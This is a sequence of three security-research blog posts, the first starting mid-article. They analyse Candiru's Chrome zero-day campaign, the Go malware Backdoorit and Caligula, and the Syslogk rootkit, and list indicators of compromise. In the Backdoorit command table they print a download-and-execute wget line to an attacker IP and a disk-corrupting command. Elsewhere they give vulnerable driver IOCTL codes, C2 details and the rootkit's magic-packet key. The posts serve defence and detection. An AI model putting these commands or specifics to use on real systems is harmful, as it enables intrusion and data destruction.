Based on the malware and TTPs used to carry out the attack, we can confidently attribute it to a secretive spyware vendor of many names, most commonly known as Candiru. (A name the threat actors chose themselves, inspired by a horrifying parasitic fish of the same name.) 

After Candiru was exposed by Microsoft and CitizenLab in July 2021, it laid low for months, most likely taking its time to update its malware to evade existing detection. We’ve seen it return with an updated toolset in March 2022, targeting Avast users located in Lebanon, Turkey, Yemen, and Palestine via watering hole attacks using zero-day exploits for Google Chrome. We believe the attacks were highly targeted.

Exploit Delivery and Protection

There were multiple attack campaigns, each delivering the exploit to the victims in its own way. 

In Lebanon, the attackers seem to have compromised a website used by employees of a news agency. We can’t say for sure what the attackers might have been after, however often the reason why attackers go after journalists is to spy on them and the stories they’re working on directly, or to get to their sources and gather compromising information and sensitive data they shared with the press.

Interestingly, the compromised website contained artifacts of persistent XSS attacks, with there being pages that contained calls to the Javascript function alert along with keywords like test. We suppose that this is how the attackers tested the XSS vulnerability, before ultimately exploiting it for real by injecting a piece of code that loads malicious Javascript from an attacker-controlled domain. This injected code was then responsible for routing the intended victims (and only the intended victims) to the exploit server, through several other attacker-controlled domains.

Once the victim gets to the exploit server, Candiru gathers more information. A profile of the victim’s browser, consisting of about 50 data points, is collected and sent to the attackers. The collected information includes the victim’s language, timezone, screen information, device type, browser plugins, referrer, device memory, cookie functionality, and more. We suppose this was done to further protect the exploit and make sure that it only gets delivered to the targeted victims. If the collected data satisfies the exploit server, it uses RSA-2048 to exchange an encryption key with the victim. This encryption key is used with AES-256-CBC to establish an encrypted channel through which the zero-day exploits get delivered to the victim. This encrypted channel is set up on top of TLS, effectively hiding the exploits even from those who would be decrypting the TLS session in order to capture plaintext HTTP traffic.

Exploits and Vulnerabilities

We managed to capture a zero-day exploit that abused a heap buffer overflow in WebRTC to achieve shellcode execution inside a renderer process. This zero-day was chained with a sandbox escape exploit, which was unfortunately further protected and we were not able to recover it. We extracted a PoC from the renderer exploit and sent it to Google’s security team. They fixed the vulnerability, assigning it CVE-2022-2294 and releasing a patch in Chrome version 103.0.5060.114 (Stable channel). 

While the exploit was specifically designed for Chrome on Windows, the vulnerability’s potential was much wider. Since the root cause was located in WebRTC, the vulnerability affected not only other Chromium-based browsers (like Microsoft Edge) but also different browsers like Apple’s Safari. We do not know if Candiru developed exploits other than the one targeting Chrome on Windows, but it’s possible that they did. Our Avast Secure Browser was patched on July 5. Microsoft adopted the Chromium patch on July 6, while Apple released a patch for Safari on July 20. We encourage all other WebRTC integrators to patch as soon as possible.

At the end of the exploit chain, the malicious payload (called DevilsTongue, a full-blown spyware) attempts to get into the kernel using another zero-day exploit. This time, it is targeting a legitimate signed kernel driver in a BYOVD (Bring Your Own Vulnerable Driver) fashion. Note that for the driver to be exploited, it has to be first dropped to the filesystem (Candiru used the path C:\Windows\System32\drivers\HW.sys) and loaded, which represents a good detection opportunity.

The driver is exploited through IOCTL requests. In particular, there are two vulnerable IOCTLs: 0x9C40648C can be abused for reading physical memory and 0x9C40A4CC for writing physical memory. We reported this to the driver’s developer, who acknowledged the vulnerability and claimed to be working on a patch. Unfortunately, the patch will not stop the attackers, since they can just continue to exploit the older, unpatched driver. We are also discussing a possible revocation, but that would not be a silver bullet either, because Windows doesn’t always check the driver’s revocation status. Driver blocklisting seems to be the best solution for now.

While there is no way for us to know for certain whether or not the WebRTC vulnerability was exploited by other groups as well, it is a possibility. Sometimes zero-days get independently discovered by multiple groups, sometimes someone sells the same vulnerability/exploit to multiple groups, etc. But we have no indication that there is another group exploiting this same zero-day.

Because Google was fast to patch the vulnerability on July 4, Chrome users simply need to click the button when the browser prompts them to “restart to finish applying the update.” The same procedure should be followed by users of most other Chromium-based browsers, including Avast Secure Browser. Safari users should update to version 15.6. 

Indicators of Compromise (IoCs)

Infrastructure

Domains

bad-shop[.]net

bestcarent[.]org

core-update[.]com

datanalytic[.]org

expertglobal[.]org

only-music[.]net

popsonglist[.]com

querylight[.]net

smartstand[.]org

stylishblock[.]com

webs-update[.]com

Filesystem

DevilsTongue paths

C:\Windows\System32\migration\netiopmig.dll

C:\Windows\System32\migration\sppvmig.dll

C:\Windows\System32\migration\spvmig.dll

C:\Windows\System32\ime\imejp\imjpueact.dll

C:\Windows\System32\ime\imejp\imjpuexp.dll

C:\Windows\System32\ime\imetc\imtcprot.dll

C:\Windows\System32\ime\shared\imccphd.dll

C:\Windows\System32\ime\shared\imebrokev.dll

C:\Windows\System32\ime\shared\imecpmeid.dll

C:\Windows\System32\ime\shared\imepadsvd.dll

C:\Windows\System32\migration\imjprmig.dll

C:\Windows\System32\wbem\dmwmibridgeprov132.dll

C:\Windows\System32\wbem\esscli32.dll

C:\Windows\System32\wbem\netdacim32.dll

C:\Windows\System32\wbem\netpeerdistcim32.dll

C:\Windows\System32\wbem\viewprov32.dll

C:\Windows\System32\wbem\vsswmi32.dll

C:\Windows\System32\wbem\wbemcore32.dll

C:\Windows\System32\wbem\wbemdisp32.dll

C:\Windows\System32\wbem\wbemsvc32.dll

C:\Windows\System32\wbem\wfascim32.dll

C:\Windows\System32\wbem\win32_encryptablevolume32.dll

C:\Windows\System32\wbem\wmiaprpl32.dll

C:\Windows\System32\drivers\HW.sys

C:\Windows\System32\drivers\HW.sys.dat

Hijacked CLSIDs (persistence mechanism)

Registry keys	Legitimate default values
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32	%systemroot%\system32\wbem\wbemprox.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4FA18276-912A-11D1-AD9B-00C04FD8FDFF}\InprocServer32	%systemroot%\system32\wbem\wbemcore.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32	%systemroot%\system32\wbem\wbemsvc.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32	%systemroot%\system32\wbem\wmiutils.dll

IoCs are also available in our IoC repository.

The post The Return of Candiru: Zero-days in the Middle East appeared first on Avast Threat Labs.

Introduction

The Go programming language is becoming more and more popular. One of the reasons being that Go programs can be compiled for multiple operating systems and architectures in a single binary self containing all needed dependencies. Based on these properties, and as we expected, we observed an increase in the number of malware and gray tools written in Go programming language in the last months. We are discovering new samples weekly.

For instance, in late April, we discovered two new strains in our internal honeypots, namely Backdoorit and Caligula, both of which were at that time undetected on VT.

• Backdoorit VirusTotal history

• Caligula VirusTotal history

Both of these malware strains are multiplatform bots compiled for many different processor architectures and written in the Go programming language.

Analyzing Backdoorit

Backdoorit (version 1.1.51562578125) is a multiplatform RAT written in Go programming language and supporting both Windows and Linux/Unix operating systems. In many places in the code it’s also referred to as backd00rit.

Based on the close inspection of the analyse-full command of Backdoorit, we concluded that the main purpose of this malware is stealing Minecraft related files, Visual Studio and Intellij projects.

But the malware is not limited just to those files. Some commands (upload, basharchive, bashupload and so on) allow it to steal arbitrary files and information, install other malware in the system or run arbitrary commands (run, run-binary, etc.) and take screenshots of the user activity (screenshot, ssfile and so on).

Evidence indicates that the Backdoorit developer is not a native English speaker, further pointing to a possible Russian threat actor. The comments and strings in the code are mostly written in English but often grammatically incorrect. For instance, we found the message: “An confirmation required, run ”. We also discovered some isolated strings written in the Russian language.

In addition to the aforementioned strings we also observed that, amongst others, the VimeWorld files (a Russian project that offers Minecraft servers) are being targeted. This further leads us to believe the Russian origin of the threat actor behind this malware.

After running Backdoorit the RAT retrieves some basic environment information such as the current operating system and the name of the user. It then continuously tries to connect to a C&C server to give the attacker access to a shell.

The malware logs all executed operations and taken steps via a set of backd00r1t_logging_* functions. Those logs can be uploaded to the server of the attacker either by using uploadlogs and uploadlogs-file shell commands or automatically in case a Go panic exception is raised.

In such case backd00r1t_backdoor_handlePanic handles the exception and performs the following actions:

1. It first sends the logs to the endpoint /api/logs of the C&C server with a JSON request structure as defined in the function: backd00r1t_api_SendLogs.
2. It closes the connection with the C&C server.
3. It attempts to reconnect again.

The mentioned handler helps to keep the bot connected and also allows the attacker to remotely follow the execution trace.

Once the connection to C&C succeeds, the attacker gets the context information listed below. The function backd00r1t_backdoor_SocketConnectionHandle is responsible for handling all the commands supported by this RAT and first calls to backd00r1t_backdoor_printMotd for displaying such information:

• Last connected time
• The Backdoorit version
• Process
• Active connections
• User name
• User home
• User id
• Login
• Gid
• Process path
• Modules Autostart state

The shell allows the threat actor to remotely execute arbitrary commands. The first command that is likely to be run is the analyse-full command because it generates a report.txt file containing the Desktop, Documents, Downloads, Minecraft and VimeWorld folder file trees and uploads the mentioned report and both Visual Studio and IntelliJ projects folders contents, to Bashupload, a web service allowing to upload files from command line with a storage limitation of 50GB.

As mentioned earlier, if the attacker chooses to do so, he/she will be also able to implant other malware in the system. The threat actor can use the commands: run-binary (a command for downloading and executing a script), shell (a command allowing to spawn the operating system shell and execute arbitrary commands) or other available commands.

The malware also contains a sort of a “kill-switch” that can be triggered by the exploit command, but in this case this does not simply remove the malware itself, but has the ability to crash the Windows operating system by exploiting CVE-2021-24098 and also corrupt the NTFS of the hard disk via CVE-2021-28312 on vulnerable systems. This leads to complete loss of file information (including size, time and date stamps, permissions and data content) as well as, of course, removing evidence of the infection.

There are many more commands implemented in the shell that you can check at the corresponding section of the Appendix. As you will notice, the malware incorporates a checkupdates command so we may expect to see new versions of Backdoorit soon.

Analyzing Caligula

Caligula is a new IRC multiplatform malicious bot that allows to perform DDoS attacks.

The malware was written in Go programming language and distributed in ELF files targeting several different processor architectures:

• Intel 80386 32-bit
• ARM 32-bit
• PowerPC 64-bit
• AMD 64-bit

It currently supports Linux and Windows platforms via WSL and uses the function os_user_Current for determining the underlying operating system.

Caligula is based on the Hellabot open source project, an easily modifiable event based IRC bot with the ability to be updated without losing connection to the server.

Of course, more code reuse was found in the Caligula coming from open source projects (log15, fd, go-shellwords, go-isatty and go-colorable) but the core functionality is based on Hellabot.

All the samples that we hunted in the wild are prepared to connect to the same hardcoded IRC channel by using the following data:

• Host: 45.95.55.24:6667
• Channel: #caligula
• Username: It is composed of the platform, current user and a pseudo-random number.
  • e.g. [LINUX]kali-11066

As shown in the following screenshot, the bot is prepared for joining the Caligula IRC Net v1.0.0 botnet.

Caligula IRC Net v1.0.0 is a botnet ready for flooding. The bots offers to the attacker the following attacks:

Attack	Description
udp	udp flood with limited options.
http	http flood with no options at all.
syn	syn flood.
handshake	handshake flood.
tcp	tcp flood.

For more information on how Caligula bot source code is organized, check the source code file listing available in the appendix. It can be useful for getting a high level perspective on the malware design, notice that new attack methods can be easily added to it and identify the Caligula malware family.

Conclusion

Due to its native multiplatform support and relative ease of development, the use of Go programming language for malicious purposes is currently growing, especially in malware targeting Unix/Linux operating systems.

Naturally with the growing interest and community around the Go programming language, some of the malicious tools are being open sourced on Github and resued by different threat actors.

In this instance, we were one of the firsts in hunting and detecting Backdoorit and Caligula.

Appendix

Backdoorit shell commands reference

Command syntax	Description
shell	This command spawns a shell. For Windows platforms, if available, it executes Powershell. Otherwise it executes the Command prompt. For the rest of the platforms, it spawns a Bash Unix shell.
help	Shows the help containing the available commands but also some status information.
toggle-path	Enables or disables showing the toggle path.
bell	Enables or disables the bell sound.
clear-fallback	Clears the screen.
background-logs	Asks to the attacker for the buffer size and the maximum buffer size in order to store the logs in background.
backdoor	Shows the RAT information: BuiltCodenameVersionReconnect time
clear-code	Resets any style property of the font by using the ANSI Escape Codes : \x1B[0J
clear-color	Clears the shell coloring.
colors / color	Enables or Disables the shell coloring.
un-export [env][fir][key][url]	Removes an environment variable.
export	Adds an environment variable.
mkdir [path]	Creates a folder for the specified path.
exit	Exits.
wcd	Prints the working directory.
motd	Prints the following information: Last connected time. The Backdoorit version. ProcessActiveConnectionsUser nameUser homeUser idLoginGidProcess path The modules Autostart state.
get-asset [asset]	Access to an asset (those are identified by string and accessed via GO language mapaccess1_faststr function)
extract-asset [asset] (path)	Extracts an asset to the specified path.
safe	Allows to disable safe mode
open-file	Open file.
open	Open url in browser.
list-windows-disks	List disks (command available for Windows systems)
cp [target] [dist]	Copy file.
rm	Removes a file or a folder and all its content. If the attacker is trying to remove the entire current folder, the agent asks her/him for preventing the human error.
cd	Changes the working directory.
ls	It shows the modification date, Filename and Size.
cat [file][path]	Read file.
checkupdates	It asks for the version to the endpoint: /api/version If there is a new version available for the appropriate operating system, then it downloads it by using wget: wget -O app –user nnstd –password access http://185.174.136.162/4ejski_bejenec && chmod +x app && ((./app) &)
exploit [exploit] […args]	Runs an exploit. It currently supports the following exploits: windows/crash/uncIt crashes Windows by accessing the file: \\.\globalroot\device\condrv\kernelconnectwindows/destroy/i30It corrupts the drive by executing the following command: cd C:\\:$i30:$bitmap
autostart	It persists the payload by modifying the following files: .bashrc .profile .zshrc .bash_profile .config/fish/config.fish This command enables the internal flag: backd00r1t_modules_autostart_state
autostart-update	Update autostart.
exec [cmd] […args]	Executes a command with the specified arguments.
sysinfo {detailed}	Shows the following system information: WorkingDirectory, Command line, User, Terminal
neofetch / screenfetch	Shows the following system information: CPU Info: Family, Vendor, PhysicalID. CoresHost InfoUptime, OS, Platform, Platform Family, Platform Version, Host ID, Kernel Arch, Kernel Version, Network Interfaces Info: HW Addr, Flags, Index
Screenshot / ssfile / screen	It creates a screenshot, and stores it in a PNG file located in one of the following directories. It depends on the platform: Windows: C:\Users\{username}\AppData\Local\Temp Linux: /tmp/ Finally, the screenshot is uploaded and, after that, it removes the file from disk.
archiveapi	It creates a file following the format: tmp-archive-{current_date}.gdfgdgd For Windows platforms: C:\\Users\\{username}\\AppData\\Local\\Temp For Linux platforms: /tmp/ The function removes the previous file in case a file with the same name does exist. Then it sends the file and after that, removes the file
Create-archive [output] [target]	Create archive with files from target in output.
Uploadapi [file][path]	Automatically uploads the file specified to predefined servers.
uploadlogs-file	Uses the /api/upload API endpoint for uploading the file agent.log
uploadlogs	It sends the logs to the API endpoint /api/logs in JSON format.
upload [url] [file]	Upload file to Server (HTTP).
bashupload [file][path]	Automatically upload file to https://bashupload.com/
bashdownload	Access the file in https://bashupload.com/ with the parameter: ?download=1
bashupload-parse [file][path]	Automatically upload file to https://bashupload.com/ and get direct link
basharchive [target]	Create archive and upload it to bashupload.com: https://bashupload.com/backdoor-archive.zip
download	Downloads a file.
bashdownload [url]	Downloads the file by querying the url: https://bashupload.com/ With the parameter: ?download=1
run [url]	Download script and run it.
run-binary	Download script, and run it. Currently, it only supports Windows platforms. It downloads the run-script.ps1 file to a temporary folder and executes it.
cls	Clear screen.
$STOP	This command stops Backdoorit.
analyse-full	It creates a report report.txt containing:{USERHOME}\source\repos{USERHOME}\IdeaProjectsDesktop file tree Documents file tree Downloads file tree AppData\Roaming\.minecraft file tree AppData\Roaming\.vimeworld file tree. It uploads the files in Visual Studio repos folder and IntelliJ projects folder via backd00r1t_analyze_uploadDirectorybut also a report of the files in the main computer folders via backd00r1t_analyze_uploadFile

Backdoorit bot source code listing

• H:/backdoorIt//injected/backdoor/BackdoorEnvironment.go
• H:/backdoorIt//injected/backdoor/BackgroundTasks.go
• H:/backdoorIt//injected/backdoor/CommandHelpers.go
• H:/backdoorIt//injected/backdoor/ConnectionHandler.go
• H:/backdoorIt//injected/files/Assets.go
• H:/backdoorIt//injected/api/Configuration.go
• H:/backdoorIt//injected/backdoor/ExecHandlers.go
• H:/backdoorIt//injected/backdoor/ExecHandlers__linux.go
• H:/backdoorIt//injected/backdoor/main.go
• H:/backdoorIt//injected/launcher/main.go

Caligula bot source code listing

• /root/irc/bot/attack/attack.go
• /root/irc/bot/attack/methods.go
• /root/irc/bot/attack/parser.go
• /root/irc/bot/attack/flags.go
• /root/irc/bot/network/header.go
• /root/irc/bot/network/ip.go
• /root/irc/bot/network/tcp.go
• /root/irc/bot/routine/timedRoutine.go
• /root/irc/bot/attack/methods/httpflood.go
• /root/irc/bot/attack/methods/sshflood.go
• /root/irc/bot/attack/methods/synflood.go
• /root/irc/bot/attack/methods/tcpflood.go
• /root/irc/bot/attack/methods/udpflood.go
• /root/irc/bot/handle.go
• /root/irc/bot/singleInstance/singleinstance.go
• /root/irc/bot.go

IoCs

Backdoorit

• 34366a8dab6672a6a93a56af7e27722adc9581a7066f9385cd8fd0feae64d4b0

Caligula

• 147aac7a9e7acfd91edc7f09dc087d1cd3f19c4f4d236d9717a8ef43ab1fe6b6
• 1945fb3e2ed482c5233f11e67ad5a7590b6ad47d29c03fa53a06beb0d910a1a0
• 4a1bb0a3a83f56b85f5eece21e96c509282fec20abe2da1b6dd24409ec6d5c4d
• 6cfe724eb1b1ee1f89c433743a82d521a9de87ffce922099d5b033d5bfadf606
• 71b2c5a263131fcf15557785e7897539b5bbabcbe01f0af9e999b39aad616731
• 99d523668c1116904c2795e146b2c3be6ae9db67e076646059baa13eeb6e8e9b
• fe7369b6caf4fc755cad2b515d66caa99ff222c893a2ee8c8e565121945d7a9c
• 97195b683fb1f6f9cfb6443fbedb666b4a74e17ca79bd5e66e5b4e75e609fd22
• edcfdc1aa30a94f6e12ccf3e3d1be656e0ec216c1e852621bc11b1e216b9e001

The complete Backdoorit and Caligula IoCs are in our IoC repository.

The post Go malware on the rise appeared first on Avast Threat Labs.

Introduction

Rootkits are dangerous pieces of malware. Once in place, they are usually really hard to detect. Their code is typically more challenging to write than other malware, so developers resort to code reuse from open source projects. As rootkits are very interesting to analyze, we are always looking out for these kinds of samples in the wild.

Adore-Ng is a relatively old, open-source, well-known kernel rootkit for Linux, which initially targeted kernel 2.x but is currently updated to target kernel 3.x. It enables hiding processes, files, and even the kernel module, making it harder to detect. It also allows authenticated user-mode processes to interact with the rootkit to control it, allowing the attacker to hide many custom malicious artifacts by using a single rootkit.

In early 2022, we were analyzing a rootkit mostly based on Adore-Ng that we found in the wild, apparently under development. After obtaining the sample, we examined the .modinfo section and noticed it is compiled for a specific kernel version.

As you may know, even if it is possible to ‘force load’ the module into the kernel by using the --force flag of the insmod Linux command, this operation can fail if the required symbols are not found in the kernel; this can often lead to a system crash.

insmod -f {module}

We discovered that the kernel module could be successfully loaded without forcing into a default Centos 6.10 distribution, as the rootkit we found is compiled for a similar kernel version.

While looking at the file’s strings, we quickly identified the PgSD93ql hardcoded file name in the kernel rootkit to reference the payload. This payload file name is likely used to make it less obvious for the sysadmin, for instance, it can look like a legitimate PostgreSQL file.

Using this hardcoded file name, we extracted the file hidden by the rootkit. It is a compiled backdoor trojan written in C programming language; Avast’s antivirus engine detects and classifies this file as ELF:Rekoob – which is widely known as the Rekoobe malware family. Rekoobe is a piece of code implanted in legitimate servers. In this case it is embedded in a fake SMTP server, which spawns a shell when it receives a specially crafted command. In this post, we refer to this rootkit as Syslogk rootkit, due to how it ‘reveals’ itself when specially crafted data is written to the file /proc/syslogk .

Analyzing the Syslogk rootkit

The Syslogk rootkit is heavily based on Adore-Ng but incorporates new functionalities making the user-mode application and the kernel rootkit hard to detect.

Loading the kernel module

To load the rootkit into kernel space, it is necessary to approximately match the kernel version used for compiling; it does not have to be strictly the same.

vermagic=2.6.32-696.23.1.el6.x86_64 SMP mod_unload modversions

For example, we were able to load the rootkit without any effort in a Centos 6.10 virtual machine by using the insmod Linux command.

After loading it, you will notice that the malicious driver does not appear in the list of loaded kernel modules when using the lsmod command.

Revealing the rootkit

The rootkit has a hide_module function which uses the list_del function of the kernel API to remove the module from the linked list of kernel modules. Next, it also accordingly updates its internal module_hidden flag.

Fortunately, the rootkit has a functionality implemented in the proc_write function that exposes an interface in the /proc file system which reveals the rootkit when the value 1 is written into the file /proc/syslogk.

Once the rootkit is revealed, it is possible to remove it from memory using the rmmod Linux command. The Files section of this post has additional details that will be useful for programmatically uncloaking the rootkit.

Overview of the Syslogk rootkit features

Apart from hiding itself, making itself harder to detect when implanted, Syslogk can completely hide the malicious payload by taking the following actions:

• The hk_proc_readdir function of the rootkit hides directories containing malicious files, effectively hiding them from the operating system.
• The malicious processes are hidden via hk_getpr – a mix of Adore-Ng functions for hiding processes.
• The malicious payload is hidden from tools like Netstat; when running, it will not appear in the list of services. For this purpose, the rootkit uses the function hk_t4_seq_show.
• The malicious payload is not continuously running. The attacker remotely executes it on demand when a specially crafted TCP packet (details below) is sent to the infected machine, which inspects the traffic by installing a netfilter hook.
• It is also possible for the attacker to remotely stop the payload. This requires using a hardcoded key in the rootkit and knowledge of some fields of the magic packet used for remotely starting the payload. 

We observed that the Syslogk rootkit (and Rekoobe payload) perfectly align when used covertly in conjunction with a fake SMTP server. Consider how stealthy this could be; a backdoor that does not load until some magic packets are sent to the machine. When queried, it appears to be a legitimate service hidden in memory, hidden on disk, remotely ‘magically’ executed, hidden on the network. Even if it is found during a network port scan, it still seems to be a legitimate SMTP server.

For compromising the operating system and placing the mentioned hiding functions, Syslogk uses the already known set_addr_rw and set_addr_ro rootkit functions, which adds or removes writing permissions to the Page Table Entry (PTE) structure.

After adding writing permissions to the PTE, the rootkit can hook the functions declared in the hks internal rootkit structure.

PTE Hooks
Type of the function	Offset	Name of the function
Original	hks+(0x38) * 0	proc_root_readdir
Hook	hks+(0x38) * 0 + 0x10	hk_proc_readdir
Original	hks+(0x38) * 1	tcp4_seq_show
Hook	hks+(0x38) * 1 + 0x10	hk_t4_seq_show
Original	hks+(0x38) * 2	sys_getpriority
Hook	hks+(0x38) * 2 + 0x10	hk_getpr

The mechanism for placing the hooks consists of identifying the hookable kernel symbols via /proc/kallsyms as implemented in the get_symbol_address function of the rootkit (code reused from this repository). After getting the address of the symbol, the Syslogk rootkit uses the udis86 project for hooking the function.

Understanding the directory hiding mechanism

The Virtual File System (VFS) is an abstraction layer that allows for FS-like operation over something that is typically not a traditional FS. As it is the entry point for all the File System queries, it is a good candidate for the rootkits to hook.

It is not surprising that the Syslogk rootkit hooks the VFS functions for hiding the Rekoobe payload stored in the file /etc/rc-Zobk0jpi/PgSD93ql .

The hook is done by hk_root_readdir which calls to nw_root_filldir where the directory filtering takes place.

As you can see, any directory containing the substring -Zobk0jpi will be hidden.

The function hk_get_vfs opens the root of the file system by using filp_open. This kernel function returns a pointer to the structure file, which contains a file_operations structure called f_op that finally stores the readdir function hooked via hk_root_readdir.

Of course, this feature is not new at all. You can check the source code of Adore-Ng and see how it is implemented on your own.

Understanding the process hiding mechanism

In the following screenshot, you can see that the Syslogk rootkit (code at the right margin of the screenshot) is prepared for hiding a process called PgSD93ql. Therefore, the rootkit seems more straightforward than the original version (see Adore-Ng at the left margin of the screenshot). Furthermore, the process to hide can be selected after authenticating with the rootkit.

The Syslogk rootkit function hk_getpr explained above, is a mix of adore_find_task and should_be_hidden functions but it uses the same mechanism for hiding processes.

Understanding the network traffic hiding mechanism

The Adore-Ng rootkit allows hiding a given set of listening services from Linux programs like Netstat. It uses the exported proc_net structure to change the tcp4_seq_show( ) handler, which is invoked by the kernel when Netstat queries for listening connections. Within the adore_tcp4_seq_show() function, strnstr( ) is used to look in seq->buf for a substring that contains the hexadecimal representation of the port it is trying to hide. If this is found, the string is deleted.

In this way, the backdoor will not appear when listing the connections in an infected machine. The following section describes other interesting capabilities of this rootkit.

Understanding the magic packets

Instead of continuously running the payload, it is remotely started or stopped on demand by sending specially crafted network traffic packets.

These are known as magic packets because they have a special format and special powers. In this implementation, an attacker can trigger actions without having a listening port in the infected machine such that the commands are, in some way, ‘magically’ executed in the system.

Starting the Rekoobe payload

The magic packet inspected by the Syslogk rootkit for starting the Rekoobe fake SMTP server is straightforward. First, it checks whether the packet is a TCP packet and, in that case, it also checks the source port, which is expected to be 59318.

Rekobee will be executed by the rootkit if the magic packet fits the mentioned criteria.

Of course, before executing the fake service, the rootkit terminates all existing instances of the program by calling the rootkit function pkill_clone_0. This function contains the hardcoded process name PgSD93ql;  it only kills the Rekoobe process by sending the KILL signal via send_sig.

To execute the command that starts the Rekoobe fake service in user mode, the rootkit executes the following command by combining the kernel APIs: call_usermodehelper_setup, call_usermodehelper_setfns, and call_usermodehelper_exec.

/bin/sh -c /etc/rc-Zobk0jpi/PgSD93ql

The Files section of this post demonstrates how to manually craft (using Python) the TCP magic packet for starting the Rekoobe payload.

In the next section we describe a more complex form of the magic packet.

Stopping the Rekoobe payload

Since the attacker doesn’t want any other person in the network to be able to kill Rekoobe, the magic packet for killing Rekoobe must match some fields in the previous magic packet used for starting Rekoobe. Additionally, the packet must satisfy additional requirements – it must contain a key that is hardcoded in the rootkit and located in a variable offset of the magic packet. The conditions that are checked:

1. It checks a flag enabled when the rootkit executes Rekoobe via magic packets. It will only continue if the flag is enabled.
2. It checks the Reserved field of the TCP header to see that it is 0x08.
3. The Source Port must be between 63400 and 63411 inclusive.
4. Both the Destination Port and the Source Address, must to be the same that were used when sending the magic packet for starting Rekoobe.
5. Finally, it looks for the hardcoded key. In this case, it is: D9sd87JMaij

The offset of the hardcoded key is also set in the packet and not in a hardcoded offset; it is calculated instead. To be more precise, it is set in the data offset byte (TCP header) such that after shifting the byte 4 bits to the right and multiplying it by 4, it points to the offset of where the Key is expected to be (as shown in the following screenshot, notice that the rootkit compares the Key in reverse order).

In our experiments, we used the value 0x50 for the data offset (TCP header) because after shifting it 4 bits, you get 5 which multiplied by 4 is equal to 20. Since 20 is precisely the size of the TCP Header, by using this value, we were able to put the key at the start of the data section of the packet.

If you are curious about how we implemented this magic packet from scratch, then please see the Files section of this blog post.

Analyzing Rekoobe

When the infected machine receives the appropriate magic packet, the rootkit starts the hidden Rekoobe malware in user mode space.

It looks like an innocent SMTP server, but there is a backdoor command on it that can be executed when handling the starttls command. In a legitimate service, this command is sent by the client to the server to advise that it wants to start TLS negotiation.

For triggering the Rekoobe backdoor command (spawning a shell), the attacker must send the byte 0x03 via TLS, followed by a Tag Length Value (TLV) encoded data. Here, the tag is the symbol %, the length is specified in four numeric characters, and the value (notice that the length and value are arbitrary but can not be zero).

Additionally, to establish the TLS connection, you will need the certificate embedded in Rekoobe.

See the Files section below for the certificate and a Python script we developed to connect with Rekoobe.

The origin of Rekoobe payload and Syslogk rootkit

Rekoobe is clearly based on the TinySHell open source project; this is based on ordering observed in character and variables assignment taking place in the same order multiple times.

On the other hand, if you take a look at the Syslogk rootkit, even if it is new, you will notice that there are also references to TinySHell dating back to December 13, 2018.

The evidence suggests that the threat actor developed Rekoobe and Syslogk to run them  together. We are pleased to say that our users are protected and hope that this research assists others.

Conclusions

One of the architectural advantages of security software is that it usually has components running in different privilege levels; malware running on less-privileged levels cannot easily interfere with processes running on higher privilege levels, thus allowing more straightforward dealing with malware.

On the other hand, kernel rootkits can be hard to detect and remove because these pieces of malware run in a privileged layer. This is why it is essential for system administrators and security companies to be aware of this kind of malware and write protections for their users as soon as possible.

IoCs

Syslogk sample

• 68facac60ee0ade1aa8f8f2024787244c2584a1a03d10cda83eeaf1258b371f2

Rekoobe sample

• 11edf80f2918da818f3862246206b569d5dcebdc2a7ed791663ca3254ede772d

Other Rekoobe samples

• fa94282e34901eba45720c4f89a0c820d32840ae49e53de8e75b2d6e78326074
• fd92e34675e5b0b8bfbc6b1f3a00a7652e67a162f1ea612f6e86cca846df76c5
• 12c1b1e48effe60eef7486b3ae3e458da403cd04c88c88fab7fca84d849ee3f5
• 06778bddd457aafbc93d384f96ead3eb8476dc1bc8a6fbd0cd7a4d3337ddce1e
• f1a592208723a66fa51ce1bc35cbd6864e24011c6dc3bcd056346428e4e1c55d
• 55dbdb84c40d9dc8c5aaf83226ca00a3395292cc8f884bdc523a44c2fd431c7b
• df90558a84cfcf80639f32b31aec187b813df556e3c155a05af91dedfd2d7429
• 160cfb90b81f369f5ba929aba0b3130cb38d3c90d629fe91b31fdef176752421
• b4d0f0d652f907e4e77a9453dcce7810b75e1dc5867deb69bea1e4ecdd02d877
• 3a6f339df95e138a436a4feff64df312975a262fa16b75117521b7d6e7115d65
• 74699b0964a2cbdc2bc2d9ca0b2b6f5828b638de7c73b1d41e7fe26cfc2f3441
• 7a599ff4a58cb0672a1b5e912a57fcdc4b0e2445ec9bc653f7f3e7a7d1dc627f
• f4e3cfeeb4e10f61049a88527321af8c77d95349caf616e86d7ff4f5ba203e5f
• 31330c0409337592e9de7ac981cecb7f37ce0235f96e459fefbd585e35c11a1a
• c6d735b7a4656a52f3cd1d24265e4f2a91652f1a775877129b322114c9547deb
• 2e81517ee4172c43a2084be1d584841704b3f602cafc2365de3bcb3d899e4fb8
• b22f55e476209adb43929077be83481ebda7e804d117d77266b186665e4b1845
• a93b9333a203e7eed197d0603e78413013bd5d8132109bbef5ef93b36b83957c
• 870d6c202fcc72088ff5d8e71cc0990777a7621851df10ba74d0e07d19174887
• ca2ee3f30e1c997cc9d8e8f13ec94134cdb378c4eb03232f5ed1df74c0a0a1f0
• 9d2e25ec0208a55fba97ac70b23d3d3753e9b906b4546d1b14d8c92f8d8eb03d
• 29058d4cee84565335eafdf2d4a239afc0a73f1b89d3c2149346a4c6f10f3962
• 7e0b340815351dab035b28b16ca66a2c1c7eaf22edf9ead73d2276fe7d92bab4
• af9a19f99e0dcd82a31e0c8fc68e89d104ef2039b7288a203f6d2e4f63ae4d5c
• 6f27de574ad79eb24d93beb00e29496d8cfe22529fc8ee5010a820f3865336a9
• d690d471b513c5d40caef9f1e37c94db20e6492b34ea6a3cddcc22058f842cf3
• e08e241d6823efedf81d141cc8fd5587e13df08aeda9e1793f754871521da226
• da641f86f81f6333f2730795de93ad2a25ab279a527b8b9e9122b934a730ab08
• e3d64a128e9267640f8fc3e6ba5399f75f6f0aca6a8db48bf989fe67a7ee1a71
• d3e2e002574fb810ac5e456f122c30f232c5899534019d28e0e6822e426ed9d3
• 7b88fa41d6a03aeda120627d3363b739a30fe00008ce8d848c2cbb5b4473d8bc
• 50b73742726b0b7e00856e288e758412c74371ea2f0eaf75b957d73dfb396fd7
